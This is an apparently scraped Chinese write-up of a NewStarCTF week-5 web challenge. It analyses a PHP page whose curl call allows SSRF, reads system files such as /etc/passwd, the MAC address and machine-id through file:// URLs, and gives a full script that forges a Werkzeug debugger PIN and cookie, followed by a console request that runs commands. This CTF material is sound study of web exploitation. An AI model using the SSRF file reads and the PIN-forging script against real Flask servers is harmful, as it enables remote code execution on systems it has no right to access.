首页 > 编程语言 >NewStarCTF WEEK5|WEB pppython?

NewStarCTF WEEK5|WEB pppython?

时间:2024-08-02 19:54:51浏览次数:19  
标签:WEB NewStarCTF flask app py num bit WEEK5 id

对源码进行简单的分析

<?php

// 检查 `hint` 请求参数是否等于指定的数组值
if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]) {
    // 如果条件满足,设置响应内容类型为纯文本
    header("Content-type: text/plain");
    
    // 执行系统命令 `ls / -la` 列出根目录下的所有文件及其详细信息
    system("ls / -la");
    
    // 执行完命令后退出脚本
    exit();
}

try {
    // 初始化一个新的 cURL 会话
    $ch = curl_init();
    
    // 设置 cURL 请求的 URL,从请求参数 `url` 中获取
    curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
    
    // 设置连接超时时间为 60 秒
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    
    // 设置 HTTP 头部
    // `$_REQUEST['lolita']` 必须是一个数组,且每个元素都是 `key: value` 格式
    curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
    
    // 执行 cURL 请求,并获取响应
    $output = curl_exec($ch);
    
    // 输出响应内容
    echo $output;
    
    // 关闭 cURL 会话
    curl_close($ch);   
} catch (Error $x) {
    // 捕获异常,并显示当前文件的源码和错误信息
    highlight_file(__FILE__);
    highlight_string($x->getMessage());
}

?>

对代码进行简单的分析
我们先满足

($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]) 

来看一下 system("ls / -la");的结果

image

发现flag但是没有权限
我们接着看源码
还可以利用ssrf读文件我们读一下app.py

url/?url=file:///app.py&lolita[]=

image

然后就是伪造session来拿到flag
但是压根就没cookie没法直接伪造
image

这里很关键
我们知道了flask内网地址为 127.0.0.1:1314
还有就是结合app.py的存在我们知道可以计算pin码然后进入到/console进行rce

username
通过getpass.getuser()读取,通过文件读取/etc/passwd

modname
通过getattr(mod,“file”,None)读取,默认值为flask.app

appname
通过getattr(app,“name”,type(app).name)读取,默认值为Flask

moddir
flask目录下面app.py的绝对路径,可以通过报错拿到

uuidnode
通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算

machine_id
每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,第一个读不到的话就是后两个拼接

username:root

modname:flask.app

appname:Flask

moddir:进debug读app.py路径
?url=127.0.0.1:1314&lolita[]=debug

image

/usr/local/lib/python3.10/dist-packages/flask/app.py

uuidnode:/?url=file:////sys/class/net/eth0/address&lolita[]=

be:31:72:c9:ba:3c->(十进制)209119588497980

machine_id:/etc/machine-id读取不到那麽就是/proc/sys/kernel/random/boot_id和/proc/self/cgroup

edeba027-4585-4b0e-81c5-9451b7c558b8

/proc/self/cgroup
image
真有意思....
下面是学习的其他人的wp

然后就放到脚本里跑出pin码和cookie

import hashlib
from itertools import chain
import time

probably_public_bits = [
    'root'
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '209308333341629',
    '8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-de0acd954e28d766468f4c4108e32529318e5e4048153309680469d179d6ceac.scope'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)


def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")

然后就是如何传参

GET /?&debugger=yes&cmd=print(1)&frm=140324285712640&s=prj74Iraob1k5eMHiH37
1
这里我们要去获取frm和s的值

frm如果没有报错信息的话值为0
s的值可以直接访问./console,然后查看源码的SECRET值
由于这里试了半天没有报错信息,那么frm=0

访问一下console,获取s值

?url=http://localhost:1314/console&lolita[]=

标签:WEB,NewStarCTF,flask,app,py,num,bit,WEEK5,id
From: https://www.cnblogs.com/dghh/p/18339505

相关文章

  • fastapi 使用websocket协议
      fastapi是一个高性能异步web框架,并且支持websocket协议。这是一个比较新的框架,但github上的Star数挺多,快追上flask了。1、websocket服务端的简单实现:@app.websocket('/test')asyncdefwebsocket_test(websocket:WebSocket):#服务器接受客户端的WebSocket连接请求。......
  • webservice 類型映射
    a1@1deMacBook-Prophone1%wsdl2h-ophoneService.hphoneService.wsdl-tapi.batSavingphoneService.h**ThegSOAPWSDL/WADL/XSDprocessorforCandC++,wsdl2hrelease2.8.135**Copyright(C)2000,2024GeniviaInc.AllRightsReserved.**Thewsdl......
  • .Net 6.0 Web API 项目生成镜像并上传到私有仓库 Harbor
    〇、前言本文首先简单介绍了Dockerfile内容和常用命令;然后是在Windows环境Dockerdesktop的安装和配置;最后创建了WebAPI示例项目,并简单说明了从构建到推送至Harbor镜像仓库的步骤。一、关于Dockerfile1.1Dockerfile文件示例#Seehttps://aka.ms/customizecont......
  • NewStarCTF WEEK5|WEB Ye's Pickle
    下载附件#-*-coding:utf-8-*-importbase64importstringimportrandomfromflaskimport*importjwcrypto.jwkasjwkimportpicklefrompython_jwtimport*app=Flask(__name__)#创建Flask应用实例defgenerate_random_string(length=16):""&q......
  • Burp Suite Professional 2024.7 发布 - Web 应用安全、测试和扫描
    BurpSuiteProfessional2024.7(macOS,Linux,Windows)-Web应用安全、测试和扫描BurpSuiteProfessional,Test,find,andexploitvulnerabilities.请访问原文链接:https://sysin.org/blog/burp-suite-pro/,查看最新版。原创作品,转载请保留出处。BurpSuiteProfessiona......
  • WEEK5|WEB Unserialize Again
    进入后是一个文件上传但是这里并没有漏洞点看cookie得到源码<?phphighlight_file(__FILE__);error_reporting(0);classstory{private$user='admin';public$pass;public$eating;public$God='false';publicfunction__wakeup(){......
  • 基于Java的数据结构课程网站的设计与实现/线上学习系统/在线教学管理系统/Web、SSM、v
    需要源码的联系方式请查看文章末尾数据结构课程网站的设计与实现摘 要计算机网络与信息化管理相配合,可以有效地提高管理人员的工作效能和改进工作的质量。良好的数据结构课程网站可以使管理员工作得到更好的实施和应用,并有助于管理员更好地管理数据结构课程,解决人力管理......
  • 基于Web的心理测试/基于PHP大学生心理健康网站/课程设计
    摘 要计算机网络与信息化管理相配合,可以有效地提高管理人员的工作效能和改进工作的质量。良好的心理测试可以使管理员工作得到更好的管理和应用,并有助于管理员更好地管理心理测试,并有助于解决一些心理不健康的用户。因此一套好的心理测试可以起到很大的效果。该管理系统......
  • VulnhubAI-web 1.0靶机详解
    项目地址https://www.vulnhub.com/entry/ai-web-1,353/实验过程将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机使用nmap进行主机发现,获取靶机IP地址nmap192.168.47.1-254根据对比可知DC-8的一个ip地址为192.168.47.135扫描Ai-Web......
  • 基于web的史料采购系统的设计与实现
    目录1绪论1.1选题背景与意义1.2国内外研究现状2系统分析2.1.1技术可行性分析2.1.2经济可行性分析2.1.3社会可行性分析2.1.3操作可行性分析2.2系统流程分析2.2.1数据新增流程2.2.2数据删除流程2.3系统功能分析2.3.1功能性分析2.3.2非功能性分析......